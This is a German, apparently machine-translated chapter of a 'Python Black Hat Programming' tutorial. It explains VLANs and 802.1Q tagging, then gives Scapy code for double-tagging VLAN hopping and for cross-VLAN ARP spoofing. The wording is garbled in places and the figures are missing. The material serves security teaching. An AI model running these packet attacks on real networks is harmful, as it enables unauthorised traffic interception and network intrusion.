VLAN (Virtual Local Area Network) ist ein virtuelles Netzwerk, das auf der Ethernet-Interaktionstechnologie basiert. Es kann nicht nur dasselbe physische Netzwerk in mehrere VALNs aufteilen, sondern auch physische Netzwerkbarrieren überwinden und Benutzer in verschiedene Subnetze in dasselbe aufteilen VLAN. Abbildung 2 ist ein Beispiel für die VLAN-Aufteilung.
Abbildung 2
Es gibt viele Möglichkeiten, VLAN zu implementieren. Es gibt im Allgemeinen zwei Arten der VLAN-Aufteilung basierend auf Switching-Geräten:
l Switch-basierte Portaufteilung
l Basierend auf dem IEEE 802.1q-Protokoll, erweitertes Ethernet-Frame-Format
Layer 2-basiertes VLAN In der Technologie gibt es das Konzept des Trunking, das zur Verbindung verschiedener Switches verwendet wird, um sicherzustellen, dass Mitglieder desselben VLAN, das über mehrere Switches hinweg eingerichtet ist, miteinander kommunizieren können. Die für die Verbindung zwischen Switches verwendeten Ports werden Trunk-Ports genannt. Zusätzlich zu 80.2.1q verfügt Cisco über ein eigenes Trunk-Protokoll namens ISL.
Abbildung 3
Abbildung 3 ist ein 802.1q-Datenpaket, das sich nicht wesentlich von einem gewöhnlichen Ethernet-Frame unterscheidet Fügen Sie ein VLAN-Tag hinzu. Der VLAN-Identifier im roten Teil identifiziert, zu welchem VLAN ein Datenpaket gehört, und stellt so sicher, dass sich der Bereich der übertragenen Daten nicht über VLANs erstreckt.
Lassen Sie uns nun kurz darüber nachdenken. Wenn wir über VLANs hinweg kommunizieren möchten, müssen wir dann nur die Kennung im Datenpaket ändern?
3.4.1 VLAN-Hopping
Basierend auf der obigen Analyse betrachten wir ein einfaches Szenario: Cross-VLAN ping: Senden Sie eine Ping-Anfrage von einem Host in Vlan1 an einen Host in Vlan2.
Vor der spezifischen Codierung müssen wir noch das Problem der VLAN-Paketkonstruktion lösen. In Scapy verwenden wir die Dot1Q-Klasse, um den Tag-Teil in Abbildung 3 zu erstellen. Wie in Abbildung 4 dargestellt.
Abbildung 4
Jetzt können wir eine Cross-VLAN-Ping-Anfrage schreiben.
#!/usr/bin/python from scapy.all import * packet = Ether(dst="c0:d3:de:ad:be:ef") / \ Dot1Q(vlan=1) / \ Dot1Q(vlan=2) / \ IP(dst="192.168.13.3") / \ ICMP() sendp(packet)
Im obigen Code geben wir die MAC- und IP-Adresse des Zielhosts an und fügen zwei VLAN-Kennungen hinzu. Die erste ist zu senden Das VLAN, in dem sich der Datenhost befindet, und das zweite ist das VLAN, in dem sich der Zielhost befindet. Der Switch entfernt die erste Kennung und leitet das Paket an den Zielhost weiter, wenn er die zweite Kennung liest.
3.4.2 VLAN-übergreifendes ARP-Spoofing
Abschnitt 3.1, 3.2 und 3.3 Wir diskutieren alle über das Problem des ARP-Spoofings. Da VLAN die Broadcast-Domäne einschränkt, kann unser bisheriger Code kein ARP-Spoofing über VLANs hinweg durchführen. Es ist jedoch sehr einfach, dieses Problem zu lösen. Wir müssen lediglich die VLAN-Kennung in die zuvor erstellten ARP-Spoofing-Daten einfügen. Der folgende Code ist der Code, den wir zum Erstellen des ARP-Anforderungspakets in Abschnitt 3.1 verwendet haben.
def build_req(): if options.target is None: pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) elif options.target: target_mac = getmacbyip(options.target) if target_mac is None: print "[-] Error: Could not resolve targets MAC address" sys.exit(1) pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) return pkt
Im Teil des Aufbaus des Datenpakets fügen wir die VLAN-Kennung ein:
pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
Auf diese Weise kann Cross-VLAN-ARP-Spoofing erreicht werden.
3.4.3 Zusammenfassung
In diesem Abschnitt geht es hauptsächlich darum, wie Datenpakete erstellt werden, um VLAN zu fälschen und Cross zu erreichen -VLAN-Datenkommunikation und ARP-Spoofing-Zwecke. Es ist zu beachten, dass die Methode in diesem Artikel hauptsächlich für das 802.1Q-Protokoll gilt und keine Auswirkungen auf VLANs hat, die physisch durch Ports isoliert sind.
Das Obige ist die detaillierte Erklärung der vom Herausgeber eingeführten Python-Black-Hat-Programmierung 3.4. Ich hoffe, dass sie Ihnen hilfreich sein wird. Wenn Sie Fragen haben, hinterlassen Sie mir bitte eine Nachricht Der Herausgeber wird rechtzeitig antworten. Ich möchte mich auch bei Ihnen allen für Ihre Unterstützung der chinesischen PHP-Website bedanken!
Weitere Artikel zum Thema Python Black Hat Programming 3.4 Cross-VLAN finden Sie auf der chinesischen PHP-Website!